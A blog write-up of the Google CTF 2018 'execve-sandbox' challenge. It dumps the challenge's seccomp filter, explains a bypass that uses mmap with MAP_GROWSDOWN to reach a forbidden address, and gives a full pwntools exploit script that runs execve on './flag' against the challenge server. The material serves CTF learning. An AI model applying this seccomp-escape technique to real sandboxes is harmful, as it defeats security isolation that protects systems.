Introduction
After my tutorial on seccomp, thanks for Google CTF for providing such good challenges to learn something new about seccomp escape. Since I was unable to play in Google CTF in time. I think it is necessary to record the challenges.
This post will give the write-up for the execve-sandbox in GoogleCTF. And my write-up is based on [1] and [2].
Programme Analysis
In this challenge, the binary will try to take an ELF file as input and run the file in an sandboxed environment. Though reading the source code of the challenge is a good way to learn the seccomp rules, we have seccomp-tools and use it.
I use make_elf command to create an empty ELF file of size 0x1000 and load the ELF file into the program:
$ seccomp-tools dump -c "./execve-sandbox < payloadELF" [*] waiting for an ELF binary... [*] seccomp-bpf filters installed line CODE JT JF K ================================= 0000: 0x20 0x00 0x00 0x00000004 A = arch 0001: 0x15 0x00 0x1d 0xc000003e if (A != ARCH_X86_64) goto 0031 0002: 0x20 0x00 0x00 0x00000000 A = sys_number 0003: 0x35 0x1b 0x00 0x40000000 if (A >= 0x40000000) goto 0031 0004: 0x15 0x19 0x00 0x00000001 if (A == write) goto 0030 0005: 0x15 0x18 0x00 0x00000003 if (A == close) goto 0030 0006: 0x15 0x17 0x00 0x00000005 if (A == fstat) goto 0030 0007: 0x15 0x16 0x00 0x0000000a if (A == mprotect) goto 0030 0008: 0x15 0x15 0x00 0x0000000b if (A == munmap) goto 0030 0009: 0x15 0x14 0x00 0x0000000c if (A == brk) goto 0030 0010: 0x15 0x13 0x00 0x0000000d if (A == rt_sigaction) goto 0030 0011: 0x15 0x12 0x00 0x0000000e if (A == rt_sigprocmask) goto 0030 0012: 0x15 0x11 0x00 0x0000000f if (A == rt_sigreturn) goto 0030 0013: 0x15 0x10 0x00 0x00000015 if (A == access) goto 0030 0014: 0x15 0x0f 0x00 0x0000003c if (A == exit) goto 0030 0015: 0x15 0x0e 0x00 0x0000003f if (A == uname) goto 0030 0016: 0x15 0x0d 0x00 0x00000059 if (A == readlink) goto 0030 0017: 0x15 0x0c 0x00 0x0000009e if (A == arch_prctl) goto 0030 0018: 0x15 0x0b 0x00 0x000000e7 if (A == exit_group) goto 0030 0019: 0x15 0x0a 0x00 0xffffd8b6 if (A == 0xffffd8b6) goto 0030 0020: 0x15 0x00 0x04 0x00000009 if (A != mmap) goto 0025 0021: 0x20 0x00 0x00 0x00000014 A = args[0] >> 32 0022: 0x35 0x00 0x08 0x00000000 if (A < 0x0) goto 0031 0023: 0x20 0x00 0x00 0x00000010 A = args[0] 0024: 0x35 0x05 0x06 0x00011000 if (A >= 0x11000) goto 0030 else goto 0031 0025: 0x15 0x00 0x05 0x0000003b if (A != execve) goto 0031 0026: 0x20 0x00 0x00 0x00000014 A = args[0] >> 32 0027: 0x15 0x00 0x03 0x00000000 if (A != 0x0) goto 0031 0028: 0x20 0x00 0x00 0x00000010 A = args[0] 0029: 0x15 0x00 0x01 0x00010000 if (A != 0x10000) goto 0031 0030: 0x06 0x00 0x00 0x7fff0000 return ALLOW 0031: 0x06 0x00 0x00 0x00000000 return KILL
From the dump output given above, we can find that there is a list of allowed syscalls. However, rules are different for syscall execve and mmap.
For mmap, its first argument must be larger than 0x11000.
For execve, its first argument must be less than 0x10000.
From the first sight of this challenge, it seems that the challenge is unsolvable because we can never allocate a heap space less than 0x11000.
But things are different for stack space. For stack address, it will automatically grow backwards. To be more specific, we add macro MAP_GROWSDOWN when calling mmap. More details can be found in [3].
Exploit Plan
Use MAP_GROWSDOWN to create a stack-like space and use its feature to extend the memory space to reach 0x10000.
Then put the “./flag” string in the right and invoke execve syscall.
Debugging Technique
The debugging technique is a bit different than previous challenges. We have to use catch command in gdb to stop in the child process.
With the help of debugging script, I am able to test the code on local machine and set a breakpoint before the execve syscall to verify argument.
Exploit
from pwn import * DEBUG = int(sys.argv[1]); context.arch = "amd64"; context.os = "linux"; if(DEBUG == 0): r = remote("execve-sandbox.ctfcompetition.com", 1337); elif(DEBUG == 1): r = process("./execve-sandbox"); elif(DEBUG == 2): r = process("./execve-sandbox"); gdb.attach(r, '''source ./script'''); def halt(): while(True): log.info(r.recvline()); def save(payload): fd = open("payloadELF", "wb"); fd.write(payload); fd.close(); def exploit(): code = ""; code += "mov rax, 0x9;"; code += "mov rdi, 0x11000;"; code += "mov rsi, 0x1000;"; code += "mov rdx, 3;"; code += "mov r8, -1;"; code += "mov r9, 0;"; code += "mov r10, 0x132;"; code += "syscall;"; code += "mov rsp, 0x10ff0;"; code += "movw [rsp], 0x1337;"; code += "mov rdi, 0x10000;"; code += "mov rax, 0x67616c662f2e;"; code += "mov [rdi], rax;"; code += "mov rax, 0x3b;"; code += "push 0;"; code += "mov rdx, rsp;"; code += "push rdi;"; code += "mov rsi, rsp;"; code += "syscall;"; log.info("asm code: %d bytes" % len(asm(code))); elf = make_elf(asm(code), extract=True, strip=True ); payload = elf.ljust(0x1000, "\x00"); save(payload); r.recvuntil("binary..."); r.send(payload); halt(); exploit();
Reference
[1] https://devcraft.io/2018/06/26/execve-sandbox-google-ctf-2018.html
[2] https://github.com/google/google-ctf/blob/master/2018/quals/pwn-execve-sandbox/src/tiny-exploit.s
[3] http://man7.org/linux/man-pages/man2/mmap.2.html